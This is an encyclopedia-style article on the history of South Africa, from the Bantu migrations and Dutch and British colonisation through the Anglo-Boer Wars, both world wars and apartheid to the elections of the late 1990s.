          The Bantu peoples had started to make their way south and eastwards in about 1000 BC, reaching the present-day KwaZulu-Natal Province by AD 500. The Bantu-speakers not only had domestic animals, but also practiced agriculture, farming wheat and other crops. They also displayed skill in working iron, and lived in settled villages. The Bantu arrived in South Africa in small waves rather than in one cohesive migration. Some groups, the ancestors of today's Nguni peoples (the Zulu, Xhosa, Swazi, and Ndebele), preferred to live near the coast. Others, now known as the Sotho-Tswana peoples ( Tswana, Pedi, and Basotho), settled in the Highveld, while today's Venda, Lemba, and Shangaan- Tsonga peoples made their homes in the northeastern areas of South Africa.


          Bantu-speakers and Khoisan mixed, as evidenced by rock paintings showing the two different groups interacting. The type of contact remains unknown, although linguistic proof of integration survives, as several Bantu languages (notably Xhosa and Zulu) incorporated the click consonant characteristic of earlier Khoisan languages. Archaeologists have found numerous Khoisan artifacts at the sites of Bantu settlements.


          


          Colonization


          


          European expeditions
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          Although the Portuguese basked in the nautical achievement of successfully navigating the cape, they showed little interest in colonisation. The area's fierce weather and rocky shoreline posed a threat to their ships, and many of their attempts to trade with the local Khoikhoi ended in conflict. The Portuguese found the Mozambican coast more attractive, with appealing bays to use as way stations, prawns, and links to gold ore in the interior.


          The Portuguese had little competition in the region until the late 16th century, when the English and Dutch began to challenge the Portuguese along their trade routes. Stops at the continent's southern tip increased, and the cape became a regular stopover for scurvy-ridden crews. In 1647, a Dutch vessel was wrecked in the present-day Table Bay at Cape Town. The marooned crew, the first Europeans to attempt settlement in the area, built a fort and stayed for a year until they were rescued.


          


          Arrival of the Dutch
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          Shortly thereafter, the Dutch East India Company (in the Dutch of the day: Vereenigde Oostindische Compagnie, or VOC) decided to establish a permanent settlement. The VOC, one of the major European trading houses sailing the spice route to the East, had no intention of colonising the area, instead wanting only to establish a secure base camp where passing ships could shelter, and where hungry sailors could stock up on fresh supplies of meat, fruit, and vegetables. To this end, a small VOC expedition under the command of Jan van Riebeeck reached Table Bay on April 6, 1652.


          While the new settlement traded out of necessity with the neighbouring Khoikhoi, it wasn't a friendly relationship, and the Company authorities made deliberate attempts to restrict contact. Partly as a consequence, VOC employees found themselves faced with a labour shortage. To remedy this, they released a small number of Dutch from their contracts and permitted them to establish farms, with which they would supply the VOC settlement from their harvests. This arrangement proved highly successful, producing abundant supplies of fruit, vegetables, wheat, and wine; they also later raised livestock. The small initial group of free burghers, as these farmers were known, steadily increased in number and began to expand their farms further north and east into the territory of the Khoikhoi.


          The majority of burghers had Dutch ancestry and belonged to the Calvinist Reformed Church of the Netherlands, but there were also numerous Germans as well as some Scandinavians. In 1688 the Dutch and the Germans were joined by French Huguenots, also Calvinists, who were fleeing religious persecution in France under King Louis XIV.


          In addition to establishing the free burgher system, van Riebeeck and the VOC also began to import large numbers of slaves, primarily from Madagascar and Indonesia. These slaves often married Dutch settlers, and their descendants became known as the Cape Coloureds and the Cape Malays. A significant number of the offspring from the White and slave unions were absorbed into the local proto-Afrikaans speaking White population. With this additional labour, the areas occupied by the VOC expanded further to the north and east, with inevitable clashes with the Khoikhoi. The newcomers drove the Khoikhoi from their traditional lands, decimated them with introduced diseases, and destroyed them with superior weapons when they fought back, which they did in a number of major wars and with guerrilla resistance movements that continued into the 19th century. Most survivors were left with no option but to work for the Europeans in an exploitative arrangement that differed little from slavery. Over time, the Khoisan, their European overseers, and the imported slaves mixed, with the offspring of these unions forming the basis for today's Coloured population.


          The best-known Khoikhoi groups included the Griqua, who had originally lived on the western coast between St Helena Bay and the Cederberg Range. In the late 18th century, they managed to acquire guns and horses and began trekking northeast. En route, other groups of Khoisan, Coloureds, and even white adventurers joined them, and they rapidly gained a reputation as a formidable military force. Ultimately, the Griquas reached the Highveld around present-day Kimberley, where they carved out territory that came to be known as Griqualandalina.


          


          Burgher expansion
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          As the burghers, too, continued to expand into the rugged hinterlands of the north and east, many began to take up a semi-nomadic pastoralist lifestyle, in some ways not far removed from that of the Khoikhoi they displaced. In addition to its herds, a family might have a wagon, a tent, a Bible, and a few guns. As they became more settled, they would build a mud-walled cottage, frequently located, by choice, days of travel from the nearest European settlement. These were the first of the Trekboers (Wandering Farmers, later shortened to Boers), completely independent of official controls, extraordinarily self-sufficient, and isolated. Their harsh lifestyle produced individualists who were well acquainted with the land. Like many pioneers with Christian backgrounds, the burghers attempted to live their lives based on teachings from the Bible.


          


          British at the cape


          As the 18th century drew to a close, Dutch mercantile power began to fade and the British moved in to fill the vacuum. They seized the Cape in 1795 to prevent it from falling into the hands of Napoleonic France, then briefly relinquished it back to the Dutch (1803), before definitely conquering it in 1806. British sovereignty of the area was recognized at the Congress of Vienna in 1815.


          At the tip of the continent the British found an established colony with 25,000 slaves, 20,000 white colonists, 15,000 Khoisan, and 1,000 freed black slaves. Power resided solely with a white lite in Cape Town, and differentiation on the basis of race was deeply entrenched. Outside Cape Town and the immediate hinterland, isolated black and white pastoralists populated the country.


          Like the Dutch before them, the British initially had little interest in the Cape Colony, other than as a strategically located port. As one of their first tasks they tried to resolve a troublesome border dispute between the Boers and the Xhosa on the colony's eastern frontier. In 1820 the British authorities persuaded about 5,000 middle-class British immigrants (most of them "in trade") to leave Great Britain behind and settle on tracts of land between the feuding groups with the idea of providing a buffer zone. The plan was singularly unsuccessful. Within three years, almost half of these 1820 Settlers had retreated to the towns, notably Grahamstown and Port Elizabeth, to pursue the jobs they had held in Britain.


          While doing nothing to resolve the border dispute, this influx of settlers solidified the British presence in the area, thus fracturing the relative unity of white South Africa. Where the Boers and their ideas had before gone largely unchallenged, white South Africa now had two distinct language groups and two distinct cultures. A pattern soon emerged whereby English-speakers became highly urbanised, and dominated politics, trade, finance, mining, and manufacturing, while the largely uneducated Boers were relegated to their farms.


          The gap between the British settlers and the Boers further widened with the abolition of slavery in 1833, a move that the Boers generally regarded as against the God-given ordering of the races. Yet the British settlers' conservatism stopped any radical social reforms, and in 1841 the authorities passed a Masters and Servants Ordinance, which perpetuated white control. Meanwhile, numbers of British immigrants increased rapidly in Cape Town, in the area east of the Cape Colony (present-day Eastern Cape Province), in Natal and, after the discovery of gold and diamonds, in parts of the Transvaal, mainly around present-day Gauteng.


          


          Difaqane and destruction
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          The early 19th century saw a time of immense upheaval relating to the military expansion of the Zulu kingdom. Sotho-speakers know this period as the difaqane (" forced migration"); while Zulu-speakers call it the mfecane ("crushing").


          The full causes of the difaqane remain in dispute, although certain factors stand out. The rise of a unified Zulu kingdom had particular significance. In the early 19th century, Nguni tribes in KwaZulu-Natal began to shift from a loosely-organised collection of kingdoms into a centralised, militaristic state. Shaka Zulu, son of the chief of the small Zulu clan, became the driving force behind this shift. At first something of an outcast, Shaka proved himself in battle and gradually succeeded in consolidating power in his own hands. He built large armies, breaking from clan tradition by placing the armies under the control of his own officers rather than of the hereditary chiefs. Shaka then set out on a massive programme of expansion, killing or enslaving those who resisted in the territories he conquered. His impis (warrior regiments) were rigorously disciplined: failure in battle meant death.


          Peoples in the path of Shaka's armies moved out of his way, becoming in their turn aggressors against their neighbours. This wave of displacement spread throughout Southern Africa and beyond. It also accelerated the formation of several states, notably those of the Sotho (present-day Lesotho) and of the Swazi (now Swaziland).


          In 1828 Shaka was killed by his half-brothers Dingaan and Umthlangana. The weaker and less-skilled Dingaan became king, relaxing military discipline while continuing the despotism. Dingaan also attempted to establish relations with the British traders on the Natal coast, but events had started to unfold that would see the demise of Zulu independence.


          


          The Great Trek
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          Meanwhile, the Boers had started to grow increasingly dissatisfied with British rule in the Cape Colony. The British proclamation of the equality of the races particularly angered them. Beginning in 1835, several groups of Boers, together with large numbers of Khoikhoi and black servants, decided to trek off into the interior in search of greater independence. North and east of the Orange River (which formed the Cape Colony's frontier) these Boers or Voortrekkers (" Pioneers") found vast tracts of apparently uninhabited grazing lands. They had, it seemed, entered their promised land, with space enough for their cattle to graze and their culture of anti-urban independence to flourish. Little did they know that what they found - deserted pasture lands, disorganised bands of refugees, and tales of brutality - resulted from the difaqane, rather than representing the normal state of affairs.


          With the exception of the more powerful Ndebele, the Voortrekkers encountered little resistance among the scattered peoples of the plains. The difaqane had dispersed them, and the remnants lacked horses and firearms. Their weakened condition also solidified the Boers' belief that European occupation meant the coming of civilisation to a savage land. However, the mountains where King Moshoeshoe I had started to forge the Basotho nation that would later become Lesotho and the wooded valleys of Zululand proved a more difficult proposition. Here the Boers met strong resistance, and their incursions set off a series of skirmishes, squabbles, and flimsy treaties that would litter the next 50 years of increasing white domination.


          


          British, Boers and Zulus
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          The Great Trek first halted at Thaba Nchu, near present-day Bloemfontein, where the trekkers established a republic. Following disagreements among their leadership, the various Voortrekker groups split apart. While some headed north, most crossed the Drakensberg into Natal with the idea of establishing a republic there. Since the Zulus controlled this territory, the Voortrekker leader Piet Retief paid a visit to King Dingaan. The Zulus, accusing the Boers of conspiring to overthrow the Zulu state, captured Retief. After receiving the specified cattle ransom, they sent an army to decimate Retief's settlement, killing 280 Boers and 250 black servants. At the Battle of Itala, a Boer army's attempt at revenge failed miserably. The culmination came on 16 December 1838, at the Ncome River in Natal. Though only several Boers suffered injuries, they killed several thousand Zulus. So much bloodshed reportedly caused the Ncome's waters to run red, thus the clash is historically known as the Battle of Blood River.
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          The Voortrekkers, victorious despite their numbers, saw their victory as an affirmation of divine approval. Yet their hopes for establishing a Natal republic remained short lived. The British annexed the area in 1843, and founded their new Natal colony at present-day Durban. Most of the Boers, feeling increasingly squeezed between the British on one side and the native African populations on the other, headed north.
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          The British set about establishing large sugar plantations in Natal, but found few inhabitants of the neighbouring Zulu areas willing to provide labour. The British confronted stiff resistance to their encroachments from the Zulus, a nation with well-established traditions of waging war, who inflicted one of the most humiliating defeats on the British army at the Battle of Isandlwana in 1879, where over 1400 British soldiers were killed. During the ongoing Anglo-Zulu Wars, the British eventually established their control over what was then named Zululand, and is today known as KwaZulu-Natal Province.


          The British turned to India to resolve their labour shortage, as Zulu men refused to adopt the servile position of labourers and in 1860 the SS Truro arrived in Durban harbour with over 300 people on board. Over the next 50 years, 150,000 more indentured Indians arrived, as well as numerous free "passenger Indians", building the base for what would become the largest Indian community outside of India. As early as 1893, when Mahatma Gandhi arrived in Durban, Indians outnumbered whites in Natal. (See Asians in South Africa.)


          


          Growth of independent South Africa


          


          The Boer republics
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          The Boers meanwhile persevered with their search for land and freedom, ultimately establishing themselves in various Boer Republics, eg the Transvaal or South African Republic and the Orange Free State. For a while it seemed that these republics would develop into stable states, despite having thinly-spread populations of fiercely independent Boers, no industry, and minimal agriculture. The discovery of diamonds near Kimberley turned the Boers' world on its head (1869). The first diamonds came from land belonging to the Griqua, but to which both the Transvaal and Orange Free State laid claim. Britain quickly stepped in and resolved the issue by annexing the area for itself.


          The discovery of the Kimberley diamond-mines unleashed a flood of European and black labourers into the area. Towns sprang up in which the inhabitants ignored the "proper" separation of whites and blacks, and the Boers expressed anger that their impoverished republics had missed out on the economic benefits of the mines.


          


          Anglo-Boer Wars
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          First Anglo-Boer War


          Long-standing Boer resentment turned into full-blown rebellion in the Transvaal (under British control from 1877), and the first Anglo-Boer War, known to Afrikaners as the "War of Independence", broke out in 1880. The conflict ended almost as soon as it began with a crushing Boer victory at Battle of Majuba Hill ( 27 February 1881). The republic regained its independence as the Zuid-Afrikaansche Republiek (" South African Republic"), or ZAR. Paul Kruger, one of the leaders of the uprising, became President of the ZAR in 1883. Meanwhile, the British, who viewed their defeat at Majuba as an aberration, forged ahead with their desire to federate the Southern African colonies and republics. They saw this as the best way to come to terms with the fact of a white Afrikaner majority, as well as to promote their larger strategic interests in the area.


          


          Inter-war period


          In 1879 Zululand came under British control. Then in 1886 an Australian prospector discovered gold in the Witwatersrand, accelerating the federation process and dealing the Boers yet another blow. Johannesburg's population exploded to about 100,000 by the mid- 1890s, and the ZAR suddenly found itself hosting thousands of uitlanders, both black and white, with the Boers squeezed to the sidelines. The influx of Black labour in particular worried the Boers, many of whom suffered economic hardship and resented the black wage-earners.


          The enormous wealth of the mines, largely controlled by European " Randlords" soon became irresistible for British imperialists. In 1895, a group of renegades led by Captain Leander Starr Jameson entered the ZAR with the intention of sparking an uprising on the Witwatersrand and installing a British administration. This incursion became known as the Jameson Raid. The scheme ended in fiasco, but it seemed obvious to Kruger that it had at least the tacit approval of the Cape Colony government, and that his republic faced danger. He reacted by forming an alliance with Orange Free State.


          


          Second Anglo-Boer War
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          The situation peaked in 1899 when the British demanded voting rights for the 60,000 foreign whites on the Witwatersrand. Until that point, Kruger's government had excluded all foreigners from the franchise. Kruger rejected the British demand and called for the withdrawal of British troops from the ZAR's borders. When the British refused, Kruger declared war. This Second Anglo-Boer War lasted longer than the first, and the British preparedness surpassed that of Majuba Hill. By June 1900, Pretoria, the last of the major Boer towns, had surrendered. Yet resistance by Boer bittereinders continued for two more years with guerrilla-style battles, which the British met in turn with scorched earth tactics. By 1902 26,000 Boers had died of disease and neglect in concentration camps. On 31 May 1902 a superficial peace came with the signing of the Treaty of Vereeniging. Under its terms, the Boer republics acknowledged British sovereignty, while the British in turn committed themselves to reconstruction of the areas under their control.


          


          Union of South Africa
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          During the immediate post-war years the British focussed their attention on rebuilding the country, in particular the mining industry. By 1907 the mines of the Witwatersrand produced almost one-third of the world's annual gold production. But the peace brought by the treaty remained fragile and challenged on all sides. The Afrikaners found themselves in the ignominious position of poor farmers in a country where big mining ventures and foreign capital rendered them irrelevant. Britain's unsuccessful attempts to anglicise them, and to impose English as the official language in schools and the workplace particularly incensed them. Partly as a backlash to this, the Boers came to see Afrikaans as the volkstaal ("people's language") and as a symbol of Afrikaner nationhood. Several nationalist organisations sprang up.


          The system left Blacks and Coloureds completely marginalised. The authorities imposed harsh taxes and reduced wages, while the British caretaker administrator encouraged the immigration of thousands of Chinese to undercut any resistance. Resentment exploded in the Bambatha Rebellion of 1906, in which 4,000 Zulus lost their lives after protesting against onerous tax legislation.


          The British meanwhile moved ahead with their plans for union. After several years of negotiations, the South Africa Act 1909 brought the colonies and republics - Cape Colony, Natal, Transvaal, and Orange Free State - together as the Union of South Africa. Under the provisions of the act, the Union remained British territory, but with home-rule for Afrikaners. The British High Commission territories of Basutoland (now Lesotho), Bechuanaland (now Botswana), Swaziland, and Rhodesia (now Zambia and Zimbabwe) continued under direct rule from Britain.


          English and Dutch became the official languages. Afrikaans did not gain recognition as an official language until 1925. Despite a major campaign by Blacks and Coloureds, the voter franchise remained as in the pre-Union republics and colonies, and only whites could gain election to parliament.


          Most significantly, the new Union of South Africa gained international respect with British Dominion status putting it on par with three other important British dominions and allies: Canada, Australia, and New Zealand.


          The Natives' Land Act of 1913 was the first major piece of segregation legislation passed by the Union Parliament, and remained a cornerstone of Apartheid until the 1990's when it was replaced by the current policy of land restitution. Under the act, blacks were severely restricted in the ownership of land, at that stage to a mere 7% of the country, although this amount was eventually increased marginally. The Act created a system of land tenure that deprived the majority of South Africa's inhabitants of the right to own land which had major socio-economic repercussions.


          


          World War I


          The Union of South Africa was tied closely to the British Empire, and automatically joined with Great Britain and the allies against the German Empire. Both Prime Minister Louis Botha and Defence Minister of South Africa were part of significant military operations against Germany. In spite of Boer resistance at home, the Afrikaner-led government of Louis Botha unhestitatingly joined the side of the Allies of World War I and fought alongside its armies. The South African Government agreed to the withdrawal of British Army units so that they were free to join the European war, and laid plans to invade German South-West Africa. Elements of the South African army refused to fight against the Germans and along with other opponents of the Government rose in open revolt. The government declared martial law on 14 October 1914, and forces loyal to the government under the command of General Louis Botha and Jan Smuts proceeded to destroy the Maritz Rebellion. The leading Boer rebels got off lightly with terms of imprisonment of six-seven years and heavy fines. (See World War I and the Maritz Rebellion.)


          


          Military action against Germany during World War I


          The South African Union Defence Force saw action in a number of areas:


          
            	It dispatched its army to German South-West Africa (later known as South West Africa and now known as Namibia). The South Africans expelled German forces and gained control of the former German colony. (See German South-West Africa in World War I.)


            	A military expedition under General Jan Smuts was dispatched to German East Africa (later known as Tanganyika and now known as Tanzania). The objective was to fight German forces in that colony and to try to capture the elusive German General von Lettow-Vorbeck. Ultimately, Lettow-Vorbeck fought his tiny force out of German East Africa into Mozambique, where he surrendered a few weeks after the end of the war. (See German East Africa in First World War.)


            	1st South African Brigade troops were shipped to France to fight on the Western Front. The most costly battle that the South African forces on the Western Front fought in was the Battle of Delville Wood in 1916. (See South African Army in World War I.)


            	South Africans also saw action with the Cape Corps as part of the Egyptian Expeditionary Force in Palestine. (See Cape Corps 1915 - 1991)

          


          


          Military contributions and casualties in World War I


          More than 146,000 whites, 83,000 blacks and 2,500 people of mixed race (" Coloureds") and Asians served in South African military units during the war, including 43,000 in German South-West Africa and 30,000 on the Western Front. An estimated 3,000 South Africans also joined the Royal Flying Corps. The total South African casualties during the war was about 18,600 with over 12,452 killed - more than 4,600 in the European theatre alone.
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          There is no question that South Africa greatly assisted the Allies, and Great Britain in particular, in capturing the two German colonies of German-West-Africa and German-East-Africa as well as in battles in Western Europe and the Middle East. South Africa's ports and harbors, such as at Cape Town, Durban, and Simon's Town, were also important rest-stops, refueling-stations, and served as strategic assets to the British Royal Navy during the war, helping to keep the vital sea lanes to the British Raj open.


          


          World War II


          


          Political choices at outbreak of war


          On the eve of World War II the Union of South Africa found itself in a unique political and military quandary. While it was closely allied with Great Britain, being a co-equal Dominion under the 1931 Statute of Westminster with its head of state being the British king, the South African Prime Minister on September 1, 1939 was none other than Barry Hertzog the leader of the pro-Afrikaner anti-British National Party that had joined in a unity government as the United Party.


          Herzog's problem was that South Africa was constitutionally obligated to support Great Britain against Nazi Germany. The Polish-British Common Defence Pact obligated Britain, and in turn its dominions, to help Poland if attacked by the Nazis. After Hitler's forces attacked Poland on the night of August 31, 1939, Britain declared war on Germany within a few days. A short but furious debate unfolded in South Africa, especially in the halls of power in the Parliament of South Africa, that pitted those who sought to enter the war on Britain's side, led by the pro- Allied, pro-British Afrikaner, ex-General, and former Prime Minister Jan Smuts against then-current Prime Minister Barry Hertzog who wished to keep South Africa "neutral," if not pro- Axis.


          


          Declaration of war against the Axis


          On September 4, 1939 the United Party caucus refused to accept Hertzog's stance of neutrality in World War II and deposed him in favour of Smuts. Upon becoming Prime Minister of South Africa, Smuts declared South Africa officially at war with Germany and the Axis. Smuts immediately set about fortifying South Africa against any possible German sea invasion because of South Africa's global strategic importance controlling the long sea route around the Cape of Good Hope.


          Smuts took severe action against the pro-Nazi South African Ossewabrandwag movement (they were caught committing acts of sabotage) and jailed its leaders for the duration of the war. (One of them, John Vorster, was to become future Prime Minister of South Africa.) (See Jan Smuts during World War II.)


          


          Prime Minister and Field Marshal Smuts


          Prime Minister Jan Smuts was the only important non-British general whose advice was constantly sought by Britain's war-time Prime Minister Winston Churchill. Smuts was invited to the Imperial War Cabinet in 1939 as the most senior South African in favour of war. In 28 May 1941, Smuts was appointed a Field Marshal of the British Army, becoming the first South African to hold that rank. Ultimately, Smuts would pay a steep political price for his closeness to the British establishment, to the King, and to Churchill which had made Smuts very unpopular among the conservative nationalistic Afrikaners, leading to his eventual downfall, whereas most English-speaking whites and a minority of liberal Afrikaners in South Africa remained loyal to him. (See Jan Smuts during World War II.)


          


          Military contributions and casualties in World War II


          South Africa and its military forces contributed in many theaters of war. South Africa's contribution consisted mainly of supplying troops, men and material for the North African campaign (the Desert War) and the Italian Campaign as well as to Allied ships that docked at its crucial ports adjoining the Atlantic Ocean and Indian Ocean that converge at the tip of Southern Africa. Numerous volunteers also flew for the Royal Air Force. (See: South African Army in World War II; South African Air Force in World War II; South African Navy in World War II; South Africa's contribution in World War II.)


          
            	The South African Army and Air Force helped defeat the Italian army of the Fascist Benito Mussolini that had invaded Abyssinia (now known as Ethiopia) in 1935. During the 1941 East African Campaign South African forces made important contribution to this early Allied victory.


            	Another important victory that the South African's participated in was the liberation of Malagasy (now known as Madagascar) from the control of the Vichy French who were allies of the Nazis. British troops aided by South African soldiers, staged their attack from South Africa, occupied the strategic island in 1942 to preclude its seizure by the Japanese.


            	The South African 1st Infantry Division took part in several actions in North Africa in 1941 and 1942, including the Battle of El Alamein, before being withdrawn to South Africa.


            	The South African 2nd Infantry Division also took part in a number of actions in North Africa during 1942, but on 21 June 1942 two complete infantry brigades of the division as well as most of the supporting units were captured at the fall of Tobruk.


            	The South African 3rd Infantry Division never took an active part in any battles but instead organised and trained the South African home defence forces, performed garrison duties and supplied replacements for the South African 1st Infantry Division and the South African 2nd Infantry Division. However, one of this division's constituent brigades - 7 SA Motorised Brigade - did take part in the invasion of Madagascar in 1942.


            	The South African 6th Armoured Division fought in numerous actions in Italy from 1944 to 1945.


            	South Africa contributed to the war effort against Japan, supplying men and manning ships in naval engagements against the Japanese.

          


          Of the 334,000 men volunteered for full time service in the South African Army during the war (including some 211,000 whites, 77,000 blacks and 46,000 "coloureds" and Asians), nearly 9,000 were killed in action.


          


          Aftermath of World War II


          South Africa emerged from the Allied victory with its prestige and national honor enhanced as it had fought tirelessly for the Western Allies. South Africa's standing in the international community was rising, at a time when the Third World's struggle against colonialism had still not taken centre stage. In May 1945, Prime Minister Smuts represented South Africa in San Francisco at the drafting of the United Nations Charter. Just as he did in 1919, Smuts urged the delegates to create a powerful international body to preserve peace; he was determined that, unlike the League of Nations, the United Nations would have teeth. Smuts signed the Paris Peace Treaty, resolving the peace in Europe, thus becoming the only signatory of both the treaty ending the First World War, and that ending the Second.


          However, internal political struggles in the disgruntled and essentially impoverished Afrikaner community would soon come to the fore leading to Smuts' defeat at the polls in the 1948 elections (in which only whites and coloureds could vote) at the hands of a resurgent National Party after the war. This began the road to South Africa's eventual isolation from a world that would no longer tolerate any forms of political discrimination or differentiation based on race only.


          


          General elections and the slow evolution of democracy


          From 1910 until the present time, a series of important general elections have been held in a united South Africa. From 1910 until 1948 the franchise to vote was given to whites and to Cape Coloreds (people of mixed race) only. After the ascent of the Nationalist Party in 1948, the Cape Coloreds were taken off the voters' role. Only eligible whites were permitted to vote from 1948 until 1994 when the vote was granted to South Africans of every racial group. The 1994 general election was the first post-apartheid vote based on universal suffrage.


          There have been three referendums in South Africa: 1960 referendum on becoming a republic; 1983 referendum on implementing the tricameral parliament; and 1992 referendum on becoming a multiracial democracy all of which were held during the era of Nationalist Party control.


          


          Apartheid era


          
            
              	Apartheid in South Africa

            


            
              	Events and Projects
            


            
              	
                Sharpeville Massacre  Soweto uprising

                Treason Trial

                Rivonia Trial  Church Street bombing

                CODESA  St James Church massacre


              
            


            
              	Organisations
            


            
              	
                ANC  IFP  AWB  Black Sash  CCB

                Conservative Party  ECC  PP  RP

                PFP  HNP  MK  PAC  SACP  UDF

                Broederbond  National Party  COSATU

                SADF  SAP

              
            


            
              	People
            


            
              	
                P.W Botha  Oupa Gqozo  DF Malan

                Nelson Mandela  Desmond Tutu  F.W. de Klerk

                Walter Sisulu  Helen Suzman  Harry Schwarz

                Andries Treurnicht  HF Verwoerd  Oliver Tambo

                BJ Vorster  Kaiser Matanzima  Jimmy Kruger

                Steve Biko  Mahatma Gandhi  Trevor Huddleston

              
            


            
              	Places
            


            
              	
                Bantustan  District Six  Robben Island

                Sophiatown  South-West Africa

                Soweto  Vlakplaas

              
            


            
              	Other aspects
            


            
              	
                Apartheid laws  Freedom Charter

                Sullivan Principles  Kairos Document

                Disinvestment campaign

                South African Police

              
            


            
              	
            

          


          


          Afrikaner nationalism


          General Louis Botha headed the first government of the new Union, with General Jan Smuts as his deputy. Their South African National Party, later known as the South African Party or SAP, followed a generally pro-British, white-unity line. The more radical Boers split away under the leadership of General Barry Hertzog, forming the National Party (NP) in 1914. The NP championed Afrikaner interests, advocating separate development for the two white groups and independence from Britain.


          The new Union had no place for Blacks, despite their constituting over 75 percent of the population. The Act of Union denied them voting-rights in the Transvaal and Orange Free State areas, and in Cape Province Blacks gained the vote only if they met a property-ownership qualification. Blacks saw the failure to grant the franchise, coming on the heels of British wartime propaganda promoting freedom from "Boer slavery", as a blatant betrayal. Before long the Union passed a barrage of oppressive legislation, making it illegal for black workers to strike, reserving skilled jobs for whites, barring blacks from military service, and instituting restrictive pass laws. In 1913 parliament enacted the Natives' Land Act, setting aside eight percent of South Africa's land for black occupancy. Whites, who made up only 20 percent of the population, held 90 percent of the land. Black Africans could not buy or rent land or even work as sharecroppers outside their designated area. The authorities evicted thousands of squatters from farms and forced them into increasingly overcrowded and impoverished reserves, or into the cities. Those who remained sank to the status of landless labourers.
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          Black and Coloured opposition began to coalesce, and leading figures such as John Jabavu, Walter Rubusana and Abdullah Abdurahman laid the foundations for new non-tribal black political groups. Most significantly, a Columbia University-educated attorney, Pixley ka Isaka Seme, called together representatives of the various African tribes to form a unified, national organisation to represent the interests of blacks, and to ensure that they had an effective voice in the new Union. Thus there originated the South African Native National Congress, known from 1923 as the African National Congress (ANC). Parallel to this, Mahatma Gandhi worked with the Indian populations of Natal and the Transvaal to fight against the ever-increasing encroachment on their rights.


          The international recession which followed World War I put pressures on mine-owners, and they sought to reduce costs by recruiting lower-paid, black, semi-skilled workers. White mine-workers saw this as a threat and in 1922 rose in the armed Rand Rebellion, supported by the new Communist Party of South Africa under the slogan "Workers of the World, unite and fight for a white South Africa." Smuts suppressed the rising violently, but the failure led to a convergence of views between Afrikaner nationalists and white English-speaking trade-unionists. The Communists saw the failure as having resulted from a lack of mobilisation by black workers, and re-oriented their recruitment.


          In 1924 the NP, under Hertzog, came to power in a coalition government with the Labour Party, and Afrikaner nationalism gained greater hold. Afrikaans, previously regarded only as a low-class dialect of Dutch, replaced Dutch as an official language of the Union, and the so-called swart gevaar (black peril) became the dominant issue of the 1929 election. In the mid- 1930s, Hertzog joined the NP with the more moderate SAP of Jan Smuts to form the United Party; this coalition fell apart at the start World War II when Smuts took the reins and, amid much controversy, led South Africa into war on the side of the Allies. However, any hopes of turning the tide of Afrikaner nationalism faded when Daniel Franois Malan led a radical break-away movement, the Purified National Party, to the central position in Afrikaner political life. The Afrikaner Broederbond, a secret Afrikaner brotherhood formed in 1918 to protect Afrikaner culture, soon became an extraordinarily influential force behind both the NP and other organisations designed to promote the volk ("people", the Afrikaners).


          Due to the booming wartime economy, black labour became increasingly important to the mining and manufacturing industries, and the black urban population nearly doubled. Enormous squatter camps grew up on the outskirts of Johannesburg and (though to a lesser extent) outside the other major cities. Despite the appalling conditions in the townships, not only blacks knew poverty: wartime surveys found that 40 percent of white schoolchildren suffered from malnutrition.


          


          Legalized discrimination


          From 1948 successive National Party administrations formalised and extended the existing system of segregation and denial of rights into the legal system of apartheid, which lasted until the 1990s. Although many important events occurred during this period, apartheid remained the central system around which most of the historical issues of this period revolved.


          


          Dismantling


          With increasing opposition to apartheid in the final decades of the 20th century - including an armed struggle, economic and cultural sanctions by the international community, pressure from the anti-apartheid movement around the world, a rebellion amongst Afrikaner and English-speaking youth as well as open revolt within the ruling National Party - State President F.W. de Klerk announced the unbanning of the African National Congress and Pan Africanist Congress as well as the release of Nelson Mandela on 2 February 1990, which signaled the beginning of a transition to democracy. In the referendum held on March 17, 1992 a white electorate voted 68% in favour of dismantling apartheid through negotiations.


          After years of negotiations under the auspices of the Convention for a Democratic South Africa (CODESA), a draft constitution appeared on 26 July 1993, containing concessions towards all sides: a federal system of regional legislatures, equal voting-rights regardless of race, and a bicameral legislature.


          From April 26 to 29, 1994 the South African population voted in the first universal suffrage general elections. The African National Congress won election to govern for the very first time, leaving the National Party and the Inkatha Freedom Party behind it and parties such as the Democratic Party and Pan Africanist Congress took up their seats as part of the parliamentary opposition in the first genuine multiracial parliament. Nelson Mandela was elected as President on 9 May 1994 and formed -according to the interim constitution of 1993- a government of national unity, consisting of the ANC, the NP and the Inkatha. On May 10 Mandela was inaugurated as South Africas new President in Pretoria and Thabo Mbeki and FW De Klerk as his vice-presidents.


          After considerable debate, and following submissions from special-interest groups, individuals and ordinary citizens, the Parliament enacted a new Constitution and Bill of Rights in 1996.


          


          Truth and Reconciliation Commission


          After the enactment of the constitution focus turned to the Truth and Reconciliation Commission, established in 1995 under the dictum of Archbishop Desmond Tutu to expose crimes committed during the apartheid era. The commission heard many stories of brutality and injustice from all sides and offered some catharsis to people and communities shattered by their past experiences.


          The Commission operated by allowing victims to tell their stories and by allowing perpetrators to confess their guilt; with amnesty on offer to those who made a full confession. Those who chose not to appear before the commission would face criminal prosecution if the authorities could prove their guilt. But while some soldiers, police, and ordinary citizens confessed their crimes, few of those who had given the orders or commanded the police presented themselves. For example, State President P.W. Botha himself, notably, refused to appear before the Commission. It has proven difficult to gather evidence against these alleged higher-level criminals.


          


          Late-1990s
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          In 1999 South Africa held its second universal-suffrage elections. In 1997, Mandela had handed over leadership of the ANC to his deputy, Thabo Mbeki, and speculation grew that the ANC vote might therefore drop. In fact, it increased, putting the party within one seat of the two-thirds majority that would allow it to alter the constitution.


          The NP, restyled as the New National Party (NNP), lost two-thirds of its seats, as well as official opposition status to the Democratic Party (DP). The DP had traditionally functioned as a stronghold of liberal whites, and now gained new support from conservatives disenchanted with the NP, and from some middle-class blacks. Just behind the DP came the KwaZulu-Natal Inkatha Freedom Party (IFP), historically the voice of Zulu nationalism. While the IFP lost some support, its leader, Chief Buthelezi, continued to exercise power as the national Home Affairs minister.


          While the ANC grassroots hold Mbeki in far less affection than the beloved "Madiba" (Mandela), he has proven himself a shrewd politician, maintaining his political pre-eminence by isolating or co-opting opposition parties. In 2003, Mbeki manoeuvred the ANC to a two-thirds majority in parliament for the first time.


          Yet not everything has gone the ANC's way. In the early days of his presidency, Mbeki's effective denial of the HIV crisis invited global criticism, and his conspicuous failure to condemn the forced reclamation of white-owned farms in neighbouring Zimbabwe unnerved both South African landowners and foreign investors.


          Violent crime escalated dramatically in the early 90's. The Economist reports the killing of approximately 1,500 white farmers in non-political attacks since 1991. In 1998, South Africa led the world in reported murders and robberies.


